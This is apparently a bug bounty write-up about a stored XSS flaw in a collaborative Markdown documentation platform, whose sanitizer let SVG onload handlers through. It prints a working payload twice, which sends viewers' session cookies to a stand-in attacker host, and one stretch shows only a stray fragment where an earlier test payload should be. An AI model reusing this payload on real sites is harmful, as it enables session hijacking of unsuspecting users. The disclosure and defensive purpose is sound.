November 5, 2026
The Renderer That Trusted Its Own Output: Stored XSS Through a Markdown Sanitization Gap
Markdown-to-HTML rendering is one of the more deceptively difficult sanitization problems in web development, precisely because it looksโฆ

By T4nv1
4 min read
Markdown-to-HTML rendering is one of the more deceptively difficult sanitization problems in web development, precisely because it looks simple. Convert some lightweight, friendly syntax into HTML, strip anything dangerous, done. In practice, the conversion step and the sanitization step are often two entirely separate pieces of code, built or updated independently, and a gap between what one produces and what the other expects is exactly where this bug lived.
The target, which I'll call Fernglen Docs here per their program's terms, is a collaborative documentation platform where users write content in Markdown, rendered to HTML for anyone viewing the published page.
Why Sanitizing Markdown Input Isn't the Same as Sanitizing HTML Output
A reasonable-sounding defensive approach is to sanitize the raw Markdown text a user submits, stripping obviously dangerous patterns like literal <script> tags before the conversion step ever runs. Fernglen's input handling did exactly this, and it worked correctly against every direct attempt to submit raw HTML tags in the Markdown source. The gap was in what it didn't account for: Markdown's own syntax includes constructs that don't look like HTML at all in their source form, but which the rendering step deliberately converts into HTML as part of its normal, intended function โ and if the sanitization step runs only once, before conversion, anything dangerous that conversion itself introduces slips through entirely untouched.
Finding the Conversion-Introduced Gap
Markdown's image syntax is the clearest example of this risk, because it's specifically designed to produce an HTML <img> tag, and <img> tags support an onerror attribute โ legitimate HTML, with a well-known history of being abused for script execution when a sanitizer fails to strip event-handler attributes from converted output.
")")Markdown's standard image syntax doesn't natively support arbitrary attribute injection through its title field in most parsers, so this particular naive attempt was correctly neutralized โ the renderer escaped the attempted attribute injection within the title field as literal text rather than interpreting it as HTML. That told me the renderer's own escaping was reasonably solid for this specific, well-known pattern, which meant the actual gap, if one existed, was likely somewhere less obvious.
The Construct That Actually Worked
Markdown's support for raw, inline HTML passthrough โ a deliberate feature in most Markdown specifications, allowing authors to drop directly into HTML syntax within otherwise-Markdown content for cases the lightweight syntax doesn't cover โ was the more promising angle, since this feature exists specifically to let certain HTML through the renderer by design, which meant the actual sanitization burden fell entirely on a separate, post-conversion HTML-cleaning step rather than the Markdown-specific escaping I'd just confirmed was solid.
Testing confirmed a second, separate sanitization pass did run after conversion, correctly stripping an outright <script> tag written directly as inline HTML in the Markdown source. But testing a less common, less obviously dangerous-looking HTML element produced a different result:
Some normal text here.
<details>
<summary>Click to expand</summary>
<svg onload="fetch('https://attacker-callback.com/c?d='+document.cookie)">
</svg>
</details>Some normal text here.
<details>
<summary>Click to expand</summary>
<svg onload="fetch('https://attacker-callback.com/c?d='+document.cookie)">
</svg>
</details>This rendered successfully, with the <svg> element and its onload attribute passing through entirely intact into the final HTML โ the post-conversion sanitizer's allowlist evidently permitted the <svg> tag itself, presumably to support legitimate inline vector graphics some users might reasonably want to embed, but didn't separately strip event-handler attributes from elements it had otherwise allowed through, treating "is this tag allowed" and "are this tag's attributes safe" as the same question when they clearly aren't.
Confirming Real Execution and Real Impact
Viewing the published document in a browser, the injected onload handler fired automatically as the page rendered, triggering an outbound request to my callback server carrying the viewing user's own session cookie โ confirmed by loading the published page while logged in under my own second test account, watching the callback arrive with that second account's genuine cookie value attached, demonstrating complete, functional session-token theft against any user who simply viewed the published document, with no interaction beyond normal page loading required at all.
Why Stored, Not Reflected, Changes the Severity Calculation Considerably
This payload, once published as part of a document's content, executed automatically for every subsequent viewer of that page โ not just the publishing user, and not requiring any specially crafted link or social engineering to reach a victim, since the malicious content was simply sitting, published and shared, exactly like any other legitimate document on the platform. Any teammate, collaborator, or anyone the document's author shared a link with would have their session silently compromised purely by opening a document that looked, by every visible indication, completely ordinary.
Scope
I tested this exclusively against a document I created and controlled, viewed it only from my own second test account to confirm cookie theft, and deleted the document immediately after capturing evidence.
The Report
Title: Stored XSS via inline SVG onload attribute surviving Markdown-to-HTML sanitization
Root cause: The post-conversion HTML sanitizer allows the <svg> element through its tag allowlist without separately stripping event-handler attributes such as onload from permitted elements, allowing an attacker to embed executable JavaScript within an otherwise-permitted tag type via Markdown's raw inline HTML passthrough feature.
Reproduction: The failed naive attempt confirming Markdown-specific escaping was solid, followed by the successful inline-HTML SVG payload, and confirmed session cookie exfiltration against a second, self-controlled viewing account.
Impact: Any user viewing a published document containing this payload has their session cookie silently exfiltrated with no interaction beyond normal page viewing, allowing the publishing attacker to hijack the session of any collaborator or teammate who opens the affected document.
Fix recommendations:
- Strip all event-handler attributes (
onload,onerror,onclick, and the broader category) from every allowed HTML element during post-conversion sanitization, regardless of which specific tags are permitted through the allowlist - Adopt a well-maintained, actively patched HTML sanitization library specifically designed to handle this distinction correctly, rather than relying on a custom or partial allowlist implementation
- Add automated regression testing covering known XSS vectors specifically for every HTML element the sanitizer's allowlist permits, since each additional allowed tag type is a new surface requiring its own attribute-level verification
What Happened After
Fernglen Docs patched the sanitizer to strip event-handler attributes across all allowed elements within days, and added automated test coverage for the specific vector going forward as part of their regression suite.
Why Markdown Renderers Deserve Attribute-Level Testing, Not Just Tag-Level
Testing a Markdown sanitizer by checking whether obviously dangerous tags like <script> get stripped is necessary but incomplete โ the more productive test is working through every element type the sanitizer's allowlist actually permits, and checking each one specifically for event-handler and other executable-attribute survival, since "is this tag allowed" and "are this tag's attributes safe" are genuinely separate questions that a sanitizer built around a simple tag allowlist can easily answer correctly for one and incorrectly for the other.